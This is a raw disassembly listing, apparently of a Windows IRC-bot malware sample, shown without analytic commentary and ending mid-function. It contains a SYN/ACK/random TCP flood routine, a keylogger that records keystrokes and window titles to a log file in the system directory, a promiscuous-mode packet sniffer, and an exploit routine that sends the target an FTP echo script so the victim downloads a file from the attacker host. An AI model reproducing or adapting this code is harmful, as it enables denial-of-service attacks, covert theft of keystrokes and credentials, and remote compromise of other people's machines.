lea eax, [ebp+var_23C]
push eax
call dword_43A3D8
cmp eax, 0FFFFFFFFh
jnz short loc_401D8D
lea eax, [ebp+var_440]
push offset dword_4233B8
push eax
call sub_4154E7
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401D6D
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_401D6D: ; CODE XREF: sub_401BD6+172j
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401D8D: ; CODE XREF: sub_401BD6+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_43A398
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_43A3D8
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_401DC5: ; CODE XREF: sub_401BD6+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_402089
push 28h
mov [ebp+var_2C], 45h
call dword_43A398
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401E38
call sub_415543
mov esi, eax
shl esi, 8
call sub_415543
add esi, eax
shl esi, 8
call sub_415543
add esi, eax
shl esi, 8
call sub_415543
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_401E4E
; ---------------------------------------------------------------------------
loc_401E38: ; CODE XREF: sub_401BD6+233j
push [ebp+var_240]
call sub_40A171
pop ecx
push eax
call dword_43A3D8
mov [ebp+var_20], eax
loc_401E4E: ; CODE XREF: sub_401BD6+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_401E6C
call sub_415543
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401E72
; ---------------------------------------------------------------------------
loc_401E6C: ; CODE XREF: sub_401BD6+284j
push [ebp+var_B8]
loc_401E72: ; CODE XREF: sub_401BD6+294j
call dword_43A398
mov [ebp+var_16], ax
call sub_415543
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43A398
push 12345678h
mov [ebp+var_18], ax
call dword_43A394
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_401EC2
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EC2: ; CODE XREF: sub_401BD6+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_401EE2
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EE2: ; CODE XREF: sub_401BD6+301j
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_401F1E
call sub_415543
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_415543
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_401F1E: ; CODE XREF: sub_401BD6+2EAj
; sub_401BD6+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_43A398
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_43A398
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_4155D0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40A1CA
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_415570
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40A1CA
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_43A3FC
cmp eax, 0FFFFFFFFh
jz short loc_40200B
inc [ebp+arg_0]
jmp loc_401DC5
; ---------------------------------------------------------------------------
loc_40200B: ; CODE XREF: sub_401BD6+42Bj
push [ebp+var_4]
call dword_43A430
call dword_43A32C
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_423344
lea eax, [ebp+var_440]
push 200h
push eax
call sub_415A6A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_402069
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_402069: ; CODE XREF: sub_401BD6+46Ej
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_402089: ; CODE XREF: sub_401BD6+203j
push [ebp+var_4]
call dword_43A430
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_4232E0
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_4020FA
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_4020FA: ; CODE XREF: sub_401BD6+4FFj
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_401BD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40211A proc near ; CODE XREF: sub_4021FB+B4p
; sub_4021FB+253p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
loc_40211D: ; DATA XREF: .nsp0:off_42F3B0o
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call dword_42105C ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push offset asc_423C30 ; "\\"
push eax
call sub_415C10
lea eax, [ebp+var_114]
push offset dword_42C20C
push eax
call sub_415C10
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_415BE8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402181
push 1
pop eax
jmp short loc_4021F8
; ---------------------------------------------------------------------------
loc_402181: ; CODE XREF: sub_40211A+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_415B96
push esi
call sub_415B40
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4021F6
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_423BEC
push 200h
push eax
call sub_415A6A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
loc_4021F6: ; CODE XREF: sub_40211A+A3j
xor eax, eax
loc_4021F8: ; CODE XREF: sub_40211A+65j
pop esi
leave
retn
sub_40211A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4021FB proc near ; DATA XREF: sub_40CE55+1E1Eo
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_43A320
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43A334
mov ebx, 200h
loc_402256: ; CODE XREF: sub_4021FB+2C7j
push 8
call dword_421060 ; Sleep
call dword_43A320
cmp eax, [ebp+var_8]
jz short loc_4022DE
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43A334
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_4154E7
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211A
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415570
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415570
add esp, 0Ch
loc_4022DE: ; CODE XREF: sub_4021FB+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_4022E5: ; CODE XREF: sub_4021FB+2BDj
push 10h
call dword_43A278
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_43A364
test ah, 80h
jz short loc_40237D
push 14h
call dword_43A278
test ax, ax
jz short loc_40232E
cmp esi, 0FFFFFFFFh
jle short loc_40232E
cmp edi, 40h
jle short loc_40232E
cmp edi, 5Bh
jge short loc_40232E
mov [ebp+edi*4+var_8DC], 1
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40232E: ; CODE XREF: sub_4021FB+112j
; sub_4021FB+117j ...
push 14h
call dword_43A278
test ax, ax
jz short loc_402359
test esi, esi
jge short loc_40236D
cmp edi, 40h
jle short loc_402359
cmp edi, 5Bh
jge short loc_402359
mov [ebp+edi*4+var_8DC], 2
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_402359: ; CODE XREF: sub_4021FB+13Ej
; sub_4021FB+147j ...
test esi, esi
jge short loc_40236D
mov [ebp+edi*4+var_8DC], 3
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40236D: ; CODE XREF: sub_4021FB+142j
; sub_4021FB+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40237D: ; CODE XREF: sub_4021FB+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_4024AD
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_4023B5
call sub_415CF0
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_4023B5: ; CODE XREF: sub_4021FB+1A5j
call sub_415CF0
cmp eax, 1B9h
pop ecx
jbe short loc_4023E7
call dword_43A320
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43A334
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_402428
; ---------------------------------------------------------------------------
loc_4023E7: ; CODE XREF: sub_4021FB+1C5j
cmp edi, 0Dh
jnz loc_40247F
lea eax, [ebp+var_2DC]
push eax
call sub_415CF0
test eax, eax
pop ecx
jz loc_4024AD
call dword_43A320
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43A334
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_402428: ; CODE XREF: sub_4021FB+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_4154E7
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211A
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415570
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415570
add esp, 0Ch
jmp short loc_4024AD
; ---------------------------------------------------------------------------
loc_40247F: ; CODE XREF: sub_4021FB+1EFj
cmp esi, 1
jz short loc_402498
cmp esi, 3
jz short loc_402498
cmp esi, 2
jz short loc_402493
cmp esi, 4
jnz short loc_4024AD
loc_402493: ; CODE XREF: sub_4021FB+291j
push [ebp+arg_0]
jmp short loc_40249F
; ---------------------------------------------------------------------------
loc_402498: ; CODE XREF: sub_4021FB+287j
; sub_4021FB+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40249F: ; CODE XREF: sub_4021FB+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_415C10
pop ecx
pop ecx
loc_4024AD: ; CODE XREF: sub_4021FB+12Ej
; sub_4021FB+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_423BB4
jl loc_4022E5
cmp [ebp+var_4], 0
jz loc_402256
push [ebp+var_D8]
call sub_4152AF
pop ecx
push 0
call dword_421048 ; ExitThread
sub_4021FB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024DC proc near ; DATA XREF: sub_40CE55+1C67o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_415D70
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_43A398
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40A171
pop ecx
push eax
call dword_43A3D8
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_43A418
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_4025B1
call dword_43A32C
push eax
lea eax, [ebp+var_2B4]
push offset dword_42462C
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402594
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402594: ; CODE XREF: sub_4024DC+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
push [ebp+var_30]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_4025B1: ; CODE XREF: sub_4024DC+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_43F534[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_43A3C4
cmp eax, 0FFFFFFFFh
jnz short loc_402636
call dword_43A32C
push eax
lea eax, [ebp+var_2B4]
push offset unk_4245E4
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402612
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402612: ; CODE XREF: sub_4024DC+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
push edi
call dword_43A430
push [ebp+var_30]
call sub_4152AF
pop ecx
push esi
call dword_421048 ; ExitThread
loc_402636: ; CODE XREF: sub_4024DC+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_43A344
cmp eax, 0FFFFFFFFh
jnz short loc_4026B9
call dword_43A32C
push eax
lea eax, [ebp+var_2B4]
push offset unk_424598
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402695
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402695: ; CODE XREF: sub_4024DC+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
push edi
call dword_43A430
push [ebp+var_30]
call sub_4152AF
pop ecx
push esi
call dword_421048 ; ExitThread
loc_4026B9: ; CODE XREF: sub_4024DC+177j
push ebx
mov ebx, offset dword_423C90
loc_4026BF: ; CODE XREF: sub_4024DC+21Bj
; sub_4024DC+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_43A3B0
cmp eax, 0FFFFFFFFh
jz loc_4027D1
cmp [ebp+var_102AB], 6
jnz short loc_4026BF
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_4026BF
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jnz short loc_4026BF
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_4026BF
mov [ebp+arg_0], ebx
loc_40272D: ; CODE XREF: sub_4024DC+26Cj
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jnz short loc_40274F
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_40272D
jmp loc_4026BF
; ---------------------------------------------------------------------------
loc_40274F: ; CODE XREF: sub_4024DC+262j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_43A2D4
movzx eax, ax
push eax
push [ebp+var_C]
call dword_43A424
push eax
lea eax, [edi+edi*2]
mov eax, dword_423CA4[eax*8]
push off_423C80[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_424544
push 200h
push eax
call sub_415A6A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_4027BF
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_4027BF: ; CODE XREF: sub_4024DC+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
jmp loc_4026BF
; ---------------------------------------------------------------------------
loc_4027D1: ; CODE XREF: sub_4024DC+20Ej
call dword_43A32C
push eax
push offset unk_4244FC
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_402817
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402817: ; CODE XREF: sub_4024DC+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
push [ebp+var_4]
call dword_43A430
push [ebp+var_30]
call sub_4152AF
pop ecx
push esi
call dword_421048 ; ExitThread
sub_4024DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40283D proc near ; CODE XREF: sub_402988+440p
var_5A4 = byte ptr -5A4h
var_1A4 = byte ptr -1A4h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A4h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_4211D8 ; inet_addr
mov [ebp+var_10], eax
mov ax, word_424F58
push eax
call dword_4211DC ; htons
push esi
push 1
push 2
mov [ebp+var_12], ax
call dword_4211E0 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_40295D
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4211E4 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40295D
push esi
lea eax, [ebp+var_5A4]
push 400h
push eax
push edi
call dword_4211E8 ; recv
mov esi, offset byte_42C1FC
mov ebx, 190h
push esi
push esi
push offset aDd_ ; "dd."
push offset aDd ; "dd"
push offset a78712 ; "78712"
push offset dword_468994
push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"...
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_415A6A
add esp, 24h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push edi
mov edi, dword_4211EC
call edi ; send
cmp eax, 0FFFFFFFFh
jz short loc_40295D
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425050
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push [ebp+var_4]
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402961
loc_40295D: ; CODE XREF: sub_40283D+54j
; sub_40283D+6Aj ...
xor al, al
jmp short loc_402983
; ---------------------------------------------------------------------------
loc_402961: ; CODE XREF: sub_40283D+11Ej
push 0
lea eax, [ebp+var_5A4]
push 400h
push eax
push [ebp+var_4]
call dword_4211E8 ; recv
push [ebp+var_4]
call dword_4211F0 ; closesocket
mov al, 1
loc_402983: ; CODE XREF: sub_40283D+122j
pop edi
pop esi
pop ebx
leave
retn
sub_40283D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402988 proc near ; CODE XREF: sub_402DDD+11Bp
; sub_402DDD+13Dp
var_89B0 = byte ptr -89B0h
var_8948 = byte ptr -8948h
var_68D8 = byte ptr -68D8h
var_6868 = byte ptr -6868h
var_5DA4 = byte ptr -5DA4h
var_4800 = byte ptr -4800h
var_47FF = byte ptr -47FFh
var_376C = byte ptr -376Ch
var_2CA8 = byte ptr -2CA8h
var_2CA7 = byte ptr -2CA7h
var_2CA4 = byte ptr -2CA4h
var_2C28 = byte ptr -2C28h
var_2458 = byte ptr -2458h
var_1FAD = byte ptr -1FADh
var_1CC0 = byte ptr -1CC0h
var_14DC = byte ptr -14DCh
var_14CC = byte ptr -14CCh
var_11A8 = byte ptr -11A8h
var_11A4 = byte ptr -11A4h
var_1198 = byte ptr -1198h
var_F10 = byte ptr -0F10h
var_E70 = byte ptr -0E70h
var_764 = dword ptr -764h
var_754 = byte ptr -754h
var_740 = byte ptr -740h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_B0 = byte ptr -0B0h
var_AD = byte ptr -0ADh
var_83 = byte ptr -83h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_38 = byte ptr -38h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B0h
call sub_415D70
mov eax, dword_4250D0
push ebx
mov [ebp+var_10], eax
mov eax, dword_4250D4
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_38]
push offset loc_4250C4
push eax
call sub_4154E7
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_FF]
loc_4029C5: ; CODE XREF: sub_402988+4Dj
mov dl, [ebp+ecx+var_38]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_4029C5
push 60h
lea eax, [ebp+var_B0]
push offset dword_424B68
push eax
call sub_4155D0
lea eax, [ebp+var_38]
push eax
call sub_415CF0
shl eax, 1
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
call sub_4155D0
add esp, 1Ch
lea eax, [ebp+var_38]
push 9
push (offset aC+3)
push eax
call sub_415CF0
pop ecx
lea eax, [ebp+eax*2+var_81]
push eax
call sub_4155D0
lea eax, [ebp+var_38]
push eax
call sub_415CF0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_AD]
push eax
call sub_4155D0
lea eax, [ebp+var_38]
push eax
call sub_415CF0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_83]
push eax
call sub_4155D0
mov ax, word_424F58
add esp, 2Ch
push eax
call dword_4211DC ; htons
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_424868
call sub_4155D0
add esp, 0Ch
cmp [ebp+arg_C0], 0
jz loc_402B7F
mov edi, 0DACh
lea eax, [ebp+var_1CC0]
push edi
push 90h
push eax
call sub_415570
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea ebx, dword_424F98[eax]
lea eax, [ebp+var_14DC]
push ebx
push eax
call sub_4155D0
mov esi, offset loc_4247B8
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11A8]
push offset loc_4250BC
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11A4]
push ebx
push eax
call sub_4155D0
add esp, 40h
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_1198]
push esi
push eax
call sub_4155D0
add esp, 10h
xor ecx, ecx
lea eax, [ebp+var_47FF]
loc_402B35: ; CODE XREF: sub_402988+1BFj
mov dl, [ebp+ecx+var_1CC0]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, edi
jl short loc_402B35
and [ebp+var_2CA8], 0
and [ebp+var_2CA7], 0
mov esi, 1C52h
lea eax, [ebp+var_89B0]
push esi
push 31h
push eax
call sub_415570
push esi
lea eax, [ebp+var_68D8]
push 31h
push eax
call sub_415570
add esp, 18h
jmp short loc_402BD6
; ---------------------------------------------------------------------------
loc_402B7F: ; CODE XREF: sub_402988+115j
push 7D0h
lea eax, [ebp+var_F10]
push 90h
push eax
call sub_415570
mov esi, offset loc_4247B8
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_E70]
push esi
push eax
call sub_4155D0
lea eax, [ebp+var_10]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_754]
push eax
call sub_4155D0
mov eax, dword_424F98
add esp, 2Ch
mov [ebp+var_764], eax
loc_402BD6: ; CODE XREF: sub_402988+1F5j
push 0E29h
lea eax, [ebp+var_2CA4]
push 31h
push eax
call sub_415570
movsx eax, [ebp+var_1]
add esp, 0Ch
add eax, 4
mov esi, dword_4211EC
push 0
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402C17
loc_402C10: ; CODE XREF: sub_402988+2C0j
; sub_402988+2EBj ...
xor al, al
jmp loc_402DD8
; ---------------------------------------------------------------------------
loc_402C17: ; CODE XREF: sub_402988+286j
mov edi, dword_4211E8
mov ebx, 640h
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 68h
push offset dword_424BCC
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C10
